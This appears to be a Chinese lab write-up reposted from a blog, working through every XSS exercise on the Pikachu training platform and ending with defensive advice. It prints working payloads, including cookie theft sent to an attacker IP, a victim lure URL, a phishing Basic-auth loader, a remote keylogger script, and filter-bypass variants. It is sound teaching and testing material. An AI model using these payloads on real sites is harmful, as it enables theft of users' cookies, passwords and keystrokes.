Pikachu之XSS
Posted 小羊学安全
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Pikachu之XSS相关的知识,希望对你有一定的参考价值。
目录
Ps:火狐浏览器、phpstudy、pikachu、burpsuite
我们先来了解一下什么是XSS叭,见下图:
接下来,就正式开始我们的实验叭~
一、反射型XSS(get)
反射型XSS通俗的来讲就是当攻击者插入构造好的恶意语句后,用户点击之后回出现弹窗,但这个弹窗是一次性的,刷新之后就没有了,没有存在服务器中
Get呢就是它是以url的方式来提交数据的
了解了这些之后,我们就开始这次的实验叭
先看一下界面,就是一个简单的登录框
输入一些特殊字符看看
从上图我们可以发现特殊字符没有被过滤,那我们就可以利用它没有被过滤的字符来构造payload
输入一半之后写不进去了,想到前端对输入的字符数量做了限制,好说,我们通过F12对其输入长度进行修改
我们在尝试构造payload进行输入
点击提交后出现弹窗,切换页面后弹窗失效,不会在有弹窗,此次实验结束
二、反射型XSS(post)
同上,post是以表单的方式在请求体里提交数据,登录账号密码在提示中已经给出,可自行实验
三、存储型XSS
存储型XSS形成原因也是因为特殊符号过滤不严导致的,但不同的是存储型XSS会将攻击者构造的恶意代码上传后存储在服务器中
同样,先来看一下界面,是一个留言板
还是按之前的思路,输入特殊字符看有没有被过滤,我们发现没有被过滤
构造payload提交后,我们发现语句被执行,出现弹窗
切换页面后弹窗依旧在,充分证实语句被存储,该实验到此结束
四、DOM型XSS
我们还是按之前的思路,输入一串字符,提交后显示what do you see?
我们点击what do you see?试试,404
那我们可以考虑是<a>标签,查看页面源码,我们发现它会将输入的字符串被拼接到了<a>标签中
我们需要构造<a>标签闭合语句,并嵌入弹窗,此次实验到此结束
五、DOM型XSS-X
依旧是先输入字符串看一下,显示“有些费尽心机想要忘记的事情,后来真的就忘掉了”
但我们可以看到,在url上有显示我们输入的字符串
我们可以看出,它的输入其实是从url上获取的,依旧是构造<a>标签的闭合并嵌入弹窗
输入:'οnclick="alert('xiaoyang!!!')">
六、XSS之盲打
在XSS盲打中,我们输入的内容不会在前端输出,会存在后台,也就是说,只有管理员在后台才能看到用户在前端输入的内容
了解了盲打的原理,那就开始我们此次实验叭
先构造弹窗语句进行输入
提交后,我们登录后台看看,后台地址以及管理员账号密码在提示中有给出,可自行查看
登录后出现弹窗,直接X到了后台
在攻击中,我们可以利用其漏洞获取管理员cookie来进行伪造
七、XSS之过滤
输入<script>alert('xiaoyang!!!')</script>提交后显示“别说这些'>'的话,不要怕,就是干!”
我们考虑可能是对<script>标签进行了限制,我们试试大小写绕过
输入:<scRIPt>alert('xiaoyang!!!')</ScriPT>
成功绕过,出现弹窗
八、XSS之htmlspecialchars
htmlspecialchars()函数把一些预定义的字符转换为html实体
当我们输入构造好的弹窗语句后,显示我们的输入已经被记录
我们查看源码发现将<>进行了编码
我们输入特殊字符提交后在查看源码,发现只有单引号没有进行编码
我们可以利用单引号进行闭合,参考dom型来构造payload
输入: 'οnclick='alert(111)'
成功绕过,出现弹窗
九、XSS之href输出
还是按之前的思路,输入<script>alert('xiaoyang!!!')</script>看看,没有弹窗
看一下页面源码,我们发现特殊符号均被编码,这种情况下,闭合和绕过就都行不通了
但是,<a>标签的href属性用于指定超链接目标的url
以下摘自HTML<a>标签的href属性
href属性的值可以是任何有效文档的相对或绝对url,包括片段标识符和js代码段.如果用户选择了<a>标签中的内容,那么浏览器会尝试检索并显示href属性指定的url所表示的文档,或者执行js表达式、方法和函数的列表.
从以上描述可见,我们可以利用javascript协议,输入payload:javascript:alert(‘xiaoyang!!!’)
出现弹窗
十、XSS之js输出
还是按我们最初的思路,输入<script>alert(xiaoyang!!!)</script>,发现没有弹窗
查看页内源码
我们发现它将我们插入的payload写入了原有的<script>标签中
我们可以通过在里面写入js语句构造payload
方法一:
使用’将其闭合,再用;使其结束,然后写入弹窗语句,使用//将后面语句注释掉
输入: ';alert('xiaoyang!!!');//
方法二:
使用’将其闭合,然后使用</script>将原有的<script>结束,在插入payload
输入: '</script><script>alert('xiaoyang')</script>
出现弹窗
好啦,到实验尾声啦
Pikachu靶场中XSS所有实验我们就都完成啦~
那我们就到这里啦~
下一篇我们再见
大家要加油呦✌
Pikachu漏洞练习平台实验——XSS
概述
反射型XSS(get)
XSS案例:盗取Cookie
反射型XSS(post)
存储型XSS
XSS案例:钓鱼攻击
XSS案例:键盘记录
DOM型XSS
DOM型XSS-X
XSS之盲打
XSS之过滤
XSS之htmlspecialchars
XSS常见防范措施
XSS之href输出
XSS之js输出
概述
简介
XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户
XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie,甚至对主机进行远程控制
攻击流程
假设存在漏洞的是一个论坛,攻击者将恶意的JS代码通过XSS漏洞插入到论文的某一页面中
当用户访问这个页面时,都会执行这个恶意的JS代码,这个代码就会在用户的浏览器端执行
XSS攻击类型
危害:存储型 > 反射型 > DOM型
- 反射型:交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询页面等
- 存储型:交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面
- DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型
XSS形成原因
形成XSS漏洞的主要原因是程序中输入和输出的控制不够严格
导致“精心构造”的脚本输入后,在输出到前端时被浏览器当作有效代码解析执行
XSS漏洞测试流程
①在目标上找输入点,比如查询接口、留言板
②输入一组 “特殊字符(>,‘,"等)+唯一识别字符” ,点击提交后,查看返回源码,看后端返回的数据是否有处理
③通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行js的条件(构造闭合)
④提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞
反射型XSS(get)
我们先输入“ ‘"<>6666 ” 用于测试我们的输入会不会被过滤掉,因为有特殊字符
还有我们的输入会不会被输出,输出会不会被处理
下面我们查看一下页面源码
我们的输入被原封不动地输出到了 p 标签中
下面测试我们输入的JS代码,看是否会原封不动地输出,payload如下
<script>alert("xss")</script>
由于前端对输入长度做了限制,我们需要修改一下才能输入完整的payload
提交之后发现我们的payload在浏览器上成功执行了
我们查看源码可以发现,我们输入的payload嵌入了到了 p 标签里面
这又是正确的JS代码,所以被浏览器正确执行了
这是一个简单的反射型XSS,从前端输入由后端接受再输出
后端没有对这个内容进行存储
另外,这是一个GET型的XSS漏洞,一般将带有XSS的URL伪装后发送给目标即可
如果是POST型的XSS,无法直接使用URL的方式进行攻击
XSS案例:盗取Cookie
实验机器
- 攻击者192.168.171.129
- 受害者192.168.171.1
- 漏洞服务器192.168.171.133
攻击流程
先在Kali上搭建XSS后台,将pikachu项目源码放到Kali机器的/var/www/html文件夹中
启动MySQL和Apache服务
service apache2 start
service mysql start
Kali中MySQL的root账号的密码为root,可以根据实际情况配置 /var/www/html/pikachu/pkxss/inc/config.inc.php 中的数据库信息
访问 http://localhost/pikachu ,访问管理工具里的XSS后台,初始化数据库
看到下面的界面就是成功了
然后进入登录界面、登录
如果碰到连不上数据库的情况,可以尝试执行下面的命令
# 进入MySQL shell
mysql -u root -proot
# 增加权限
grant all privileges on *.* to ‘root‘@‘%‘ identified by ‘root‘;
# 刷新权限
flush privileges;?
# 退出MySQL shell
quit
修改/var/www/html/pikachu/pkxss/xcookie下的cookie.php,将IP地址改为漏洞服务器的地址
cookie.php用于接收受害者的cookie,然后将页面重定向到漏洞服务器的index页面,我们构造的Payload如下
<script>document.location = ‘http://192.168.171.129/pikachu/pkxss/xcookie/cookie.php?cookie=‘ + document.cookie;</script>
当用户提交的时候,我们就能取得用户的Cookie
由于是GET类型的XSS漏洞,我们可以直接构造一个带有Payload的URL,诱使受害者点击就能取得Cookie
http://192.168.171.133/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.171.129%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
反射型XSS(post)
我们登录一下,默认账号密码是admin 123456
会得到以下界面
这里是以POST的方式提交的,参数内容不会出现在URL中,可以抓包看一下
这时候我们不能直接把我们的恶意代码嵌入到URL中
攻击思路如下
我们需要自己搭一个恶意站点,然后在网站上放一个post表单
将存放POST表单的链接发送给受害者,诱导受害者点击
这个POST表单会向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的
实验机器:
攻击者192.168.171.129
受害者192.168.171.1
漏洞服务器192.168.171.133
这个POST表单页面是位于攻击者的Kali机器上 /var/www/html/pikachu/pkxss/xcookie 下名为 post.html 的文件
我们需要修改里面 漏洞服务器 和 攻击者 的服务器地址
post.html页面的作用是:当用户访问这个页面时,会自动向漏洞服务器发送POST请求,然后重定向到漏洞服务器的index页面
http://192.168.171.129/pikachu/pkxss/xcookie/post.html
我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie
存储型XSS
存储型XSS和反射型XSS形成的原因是一样的,不同的是存储型XSS下攻击者的可以将脚本注入到后台存储起来,构成更加持久的危害
我们试着在皮卡丘平台上的XSS上留言,看看是否有什么过滤机制
我们发现我们的留言会一直存在,而且从表现上我们输入的内容直接输出了
下面通过源码观察
我们输入的东西,也直接输出在 p 标签中,看起来没有经过任何转义和处理
下面输入下面的Payload进行测试
<script>alert("xss")</script>
成功弹窗
XSS案例:钓鱼攻击
我们这里用一个Basic认证去做这个钓鱼攻击
我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求,当用户打开这个页面时
这个页面就会像攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部
这时候会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码
实验机器
攻击者192.168.171.129
受害者192.168.171.1
漏洞服务器192.168.171.133
首先攻击者需要构造一个钓鱼页面,用来将发送Basic认证的认证框
修改 /var/www/html/pikachu/pkxss/xfish 下的 fish.php 文件,将IP地址改为攻击者的服务器地址
构造的Payload如下
<script src="http://192.168.171.129/pikachu/pkxss/xfish/fish.php"></script>
当用户访问这个留言板时,会出现下面的认证框
上面已经提示密码不会发给正在浏览的网站,如果用户不注意还是可能上当
用户输入的账号密码就已经存到了我们的数据库里
XSS案例:键盘记录
实验前先了解一下跨域
什么是跨域
当协议、主机(主域名、子域名)、端口中的任意一个不同时,称为不同域
我们把不同域之间请求数据的操作,称为跨域操作
跨域-同源策略
为了安全考虑,所有的浏览器都约定了“同源策略”。同源策略规定:
两个不同域之间不能使用JS进行互相操作
比如:x.com 域名下的 JS 并不能操作 y.com 域下的对象
如果想要跨域操作,则需要管理员进行特殊配置
比如通过头里面:header("Access-Control-Allow-Origin:x/com") 指定跨域的地址
下面的标签跨域加载资源(资源类型时有限制的)是不受同源策略限制的
- <script src="...">,JS加载到本地执行
- <img src="..">,图片
- <link href="..">,CSS
- <iframe src="..">,任意资源
为什么要同源策略
A登录了淘宝,攻击者向A发送了一个恶意链接http://盗取cookie
如果没有同源策略,url上的js恶意操作A的内容
有了同源策略,就限制了这种状况
或者,一个恶意站点A使用了 <iframe src="B站点登录界面"> ,发送该恶意 url 给受害者
如果受害者浏览器如果没有同源策略,那么 A 上的 JS 即可获取 B 站点的登录信息
实验
Kali机器上先修改 /var/www/html/pikachu/pkxss/rkeypress 下 rk.js 中的IP地址
rk.js 是攻击代码,我们可以把这个 js 文件放到我们的恶意站点上,然后通过有 XSS 漏洞的页面去调用
这个文件可以记录用户的键盘操作,然后异步发送给攻击者
但是这个违背了同源策略,因为我们攻击者的机器和漏洞服务器的主机是不一样的
AJAX的请求默认情况下是不能跨域的,这个请求默认情况下是会失败的
去 /var/www/html/pikachu/pkxss/rkeypress 中 rkserver.php 注释掉下面的代码
我们可以用下面的Payload测试一下
<script src="http://192.168.171.129/pikachu/pkxss/rkeypress/rk.js"></script>
提交之后打开控制台,看一下网络请求,我们在页面上随便输入一些东西,会有下面的提示
由于 192.168.171.129 是攻击者自己搭建的平台,攻击者可以允许所有人来跨域请求,下面我们把刚刚注释的代码打开
这时候再在浏览器上输入东西,就没有任何提示了,我们也在一直向攻击者的服务器发送数据
攻击者也收集到了我们的击键信息
DOM型XSS
DOM可以理解为访问HTML的标准接口,DOM里面会把我们的HTML分成一个DOM树
我们可以以这棵树为入口,通过DOM的某些方法对树进行操作,比如对标签的添加、改变和删除等等
DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口
下面我们在皮卡丘平台上的DOM型XSS上测试一下
输入图中的内容,观察到如下输出,发现和输入的内容有区别
下面通过观察页面源码
这里有段JS代码,它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str
然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中
我们通过闭合的方式构造Payload
构造的Payload如下
#‘ onclick=alert("xss")>
成功弹窗
造成DOM型XSS的原因是前端的输入被DOM给获取到了,通过DOM又在前端输出,跟反射型和存储型比起来,它是不经过后台交互的
DOM型XSS-X
我们随便输入一些内容,会多出下面一句话
下面观察下面源码
这里也有个JS代码,它定义了一个domxss函数
它利用 window.location.search 获取浏览器中URL的内容,然后赋值给 str
然后经过URL解码和字符串分隔,取出URL中的参数内容
再把 “+” 替换为 “ ”(空格),赋值给 xss
最后把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中
跟前面的DOM不同的是,它的输入是从浏览器的URL中获取的,很像反射型XSS(get)
构造的Payload跟刚才是一样的
#‘ onclick=alert("xss")>
XSS之盲打
XSS盲打不是攻击类型,而是一个攻击场景
在皮卡丘平台上,我们随便输入一些东西
提交后我们输入的内容不会在前对输出,而是提交到了后台,可能管理员会去看
如果我们输入一个JS代码,管理员登录后台管理界面,如果后台把我们的内容输出
那后台管理员可能遭受到我们的XSS攻击,我们提交以下内容
并登录后台管理界面(账号密码为admin,123456)
http://192.168.171.133/pikachu/vul/xss/xssblind/admin_login.php
一登录进来就遭受了XSS攻击
XSS之过滤
实际中的系统,或多或少都会做一些安全措施,但是这些安全措施也能方法、逻辑不严谨,可以被绕过
转换的思路
- 前端限制绕过,直接抓包重放,或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
- 大小写,比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配,如果正则里面只匹配小写,那就可能被绕过。
- 双写(拼凑),<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换,但可能只去掉一次。
- 注释干扰,<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注释后可能可以绕过后台过滤机制。
编码的思路
核心思路:
- 后台过滤了特殊字符,比如<script>标签,但该标签可以被各种编码,后台不一定过滤
- 当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行
编码应该在输出点被正常识别和翻译,不能随便使用编码。
例子:
<img src=x onerror=alert(‘xss‘)>
将alert(‘xss‘)进行URL编码,可以执行吗?
<img src=x onerror=alert%28%27xss%27%29>它并不会执行,因为属性标签并不会正常解析这些编码
<img src=x onerror=alert(‘xss‘)>
将alert(‘xss‘)进行HTML编码
<img src=x onerror=alert('xss')>当它输出到前端的时候,浏览器会对这个编码进行翻译,从而弹窗
XSS绕过的姿势很多,取决于你的思路和对前端技术的掌握程度
我们在皮卡丘平台上,输入下面的内容看一下后台会怎么处理
可以看到我们输入的<script>标签被去掉了
尝试用大小写混合的方式看看能否绕过
<SCRIPT>alert(111)</sCRIpt>
这时候成功弹窗,后端只对小写的script进行过滤
也可以用别的攻击Payload,后台可能没有做处理
<img src=x onerror=alert(‘xss‘)>
XSS之htmlspecialchars
关于htmlspecialchars()函数
htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数
预定义的字符是
- & 成为 &
- " 成为 "
- ‘ 成为 '
- < 成为 <
- > 成为 >
可用引号类型
- ENT_COMPAT:默认,仅编码双引号
- ENT_QUOTES:编码双引号和单引号
- ENT_NOQUOTES:不编码任何引号
我们在皮卡丘平台上输入下面的内容,看一下后端是怎么处理的
我们输入的内容经过了HTML编码
可以看到 “ " ”,“ > ”和“ < ”都经过了编码,剩下的字符没有,单引号依然可以使用
我们可以构造下面的Payload,我们在Payload前后都添加一个单引号用于闭合 href 中的单引号
‘ onclick=alert(1111) ‘
XSS常见防范措施
总的原则:输入做过滤,输出做转义
- 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字
- 转义:所有输出到前端的数据根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面进行JS转义
XSS之href输出
看一下xss_03.php的源码
这个页面会接收我们的输入的message,然后判断我们输入的网址,如果输入的不是百度会对我们输入的内容用 htmlspecialchars() 进行处理
这个函数转义单引号、双引号和左右尖括号
然后输出到 a 标签的 href 属性中,在 a 标签的href属性中,可以用javascript协议来执行JS
构造Payload如下,没有上面被转义的字符
javascript:alert(111)
提交后查看源码,我们的输入在 a 标签的 href属性中
此时点击我们的标签就会出现弹窗
如果要对 href 做处理,一般有两个逻辑:
- 输入的时候只允许 http 或 https 开头的协议,才允许输出
- 其次再进行htmlspecialchars处理
XSS之js输出
我们随便输入一些东西,然后查看一下页面源码
它会把我们的输入放到JS中,然后对这个变量进行判断,然后再输出
我们可以构造一个闭合,先用一个单引号和</script>闭合掉页面中的<script>,然后再插入自己的JS代码
‘</script><script>alert(‘xss‘)</script>
这时候我们的JS也被执行了
这个漏洞的输出点是在JS中,通过用户的输入动态生成了JS代码
JS有个特点,它不会对实体编码进行解释,如果想要用htmlspecialchars对我们的输入做实体编码处理的话
在JS中不会把它解释会去,这样解决了XSS问题,但不能构成合法的JS
所以在JS的输出点应该对应该使用 \\ 对特殊字符进行转义
以上是关于Pikachu之XSS的主要内容,如果未能解决你的问题,请参考以下文章